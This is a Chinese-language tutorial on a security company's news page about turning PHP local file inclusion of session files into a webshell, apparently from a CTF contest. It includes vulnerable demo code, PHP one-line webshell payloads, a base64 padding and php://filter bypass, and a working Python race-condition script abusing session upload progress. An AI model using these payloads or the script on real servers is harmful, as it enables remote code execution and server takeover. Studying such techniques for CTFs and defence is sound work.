网站导航

新闻资讯

当前位置:首页 > 新闻资讯

浅谈利用session绕过getshell

发布时间:2021-06-09

简要描述:

在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session来getshell往往还需要一些特殊的方法,借此机会...

详细介绍

在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用sessiongetshell往往还需要一些特殊的方法,借此机会,研究一番。

本文涉及相关实验:
input type="hidden" name="?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
input type="file" name="file1" />
input type="file" name="file2" />
input type="submit" />
/form>

此时在session中存放的数据看上去是这样子的:

?php
$_SESSION["upload_progress_123"] = array(   // 其中存在上面表单里的value值"123"
"start_time" => 1234567890,   // The request time 请求时间
"content_length" => 57343257, // POST content length post数据长度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量
"done" => false,             // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1",       // Name of the input/> field 上传区域
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",     // 上传文件名
"tmp_name" => "/tmp/phpxxxxxx",     // 上传后在服务端的临时文件名
"error" => 0,
"done" => true,               // True when the POST handler has finished handling this file
"start_time" => 1234567890,   // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);

LFI漏洞

LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

我们这里重点讲的是针对LFI Session文件包含,我们可以简单理解成以为配置的原因,用户可以控制session文件中的部分信息,然后将这部分信息更改为恶意代码,然后去包含这个session文件达到攻击效果,在下面,我会演示一下大概流程

演示代码

session.php

?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>

index.php

?php
$file = $_GET['file'];
include($file);
?>

payload

分析session.php可以看到用户会话信息username的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用

我们传入

username=Abc

headImg.action?news=e94d7fdb-b20b-435e-82b8-e6641052f320.png

我们看到,系统给我们初始了一个sess_ID

headImg.action?news=0f711254-4960-4051-8b31-57dacba8d50a.png

可以看出我们可以对username进行控制,那么假如我们传入的是一句话木马呢

username=?php eval($_REQUEST['Abc']);?>

headImg.action?news=e81d1855-d9af-4685-9047-55ba537f7a91.png

headImg.action?news=64e9c1b2-4cea-461e-b8a3-1f4d04b90be9.png

一句话马传入了,我们试试是不是真的可以像我们想的那样执行

headImg.action?news=f54dc242-d03f-4ad6-96de-48bb41ebfdeb.png

从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。

当然这是一种理想化的简单的漏洞利用情况,但是在平常中会有很多限制,常见的就是两种:1.对用户的会话信息进行了一定的处理,例如对用户session信息进行编码或加密 2.没有代码session_start()进行会话的初始化操作,这时服务器无法生成用户session文件,同时,用户也无法进行恶意session文件包含

下面,我们来讲一讲怎么绕过这些限制

Session Base64Encode

很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。

demo

session.php
?php
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";
?>
index.php
?php
$file = $_GET['file'];
include($file);
?>

exp

按照我们的一般套路注入

headImg.action?news=ce927be2-2dc8-4f25-8dfc-3069f8c6bcce.png

headImg.action?news=e5cb28fb-1a8c-4537-9e13-736c1c62f787.png

我们可以发现我们包含的session被编码了,导致LFI -> session失败。

在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。(其他编码同理)

index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92

headImg.action?news=f9c4aaa9-301e-4db4-ac15-82cc3177f82e.png

吼,无法解码!

这是为什么,来来来我们再仔细看看session文件内容

headImg.action?news=66a702e4-5720-4ed6-a50f-946d22e49ff8.png

username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg==";

看到了吗,这里并不是只有base64密文,还有username|s:44:"这一段非base64的字符串,编码与解码不对应,当然无法解码

那么我们有什么方法解决吗

首先我们先来了解一下base64编码的特点

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。

由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。

一个字符串中,不管出现多少个特殊字符或者位置上的差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

总而言之,要想正常解码,需要session前面的这部分数据长度需要满足4的整数倍,据此我们再次构造payload

username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd?php eval($_POST['Abc']);?>

headImg.action?news=af8404aa-9645-4e34-8583-4743df7bd325.png

headImg.action?news=07735e5d-4974-4a52-b980-0cc0a48b326a.png

符合,我们重新传参看看

headImg.action?news=9f92e3bd-f85a-4b2f-852f-0c9c4c3548dc.png

headImg.action?news=fa0c6d5a-ab7c-4b88-bb0b-5bf05e55dcbd.png

执行成功

注:这是在session.serialize_handler=php配置下执行成功的,在其他配置下也是同样的原理

No session_start()

一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是如果一个网站存在LFI漏洞但却没有用户会话,那么我们该怎么去包含session信息呢

还记得我们上面说过的Session Upload Progress吗?

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。——WHOAMIBunny

session中一部分数据(session.upload_progress.name)是用户自己可以控制的,那么我们在Cookie中设置PHPSESSID=Abc(默认情况下由于session.use_strict_mode=0用户可以自定义Session ID),同时POST恶意字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带上这个键,PHP就会自动启用Session,又由于我们之前设置了Session ID,所以session文件会自动创建且可控

但又由于session.upload_progress.cleanup = on这个配置的存在,当文件上传结束后,php将会立即清空对应session文件中的内容,这会导致我们最终包含的只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用

import io
import requests
import threading
sessid = 'SsBNMsssSssssL'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '?php var_dump(scandir("/etc"));?>'}, files={'file': ('a.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
data={
'filed':'',
'cf':'../../../../../../var/lib/php/sessions/eadhacfafh/sess_'+sessid
}
resp = session.post('http://192.168.43.82/index.php',data=data)
if 'a.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

国赛的脚本,改下payload即可

 


推荐产品

如果您有任何问题,请跟我们联系!

联系我们

Copyright © 武汉网盾科技有限公司 版权所有 备案号:鄂ICP备2023003462号-5

地址:武汉市东湖高新区光谷大道光谷世贸中心A栋23楼

在线客服 联系方式 二维码

服务热线

18696195380/18672920250

扫一扫,关注我们

关闭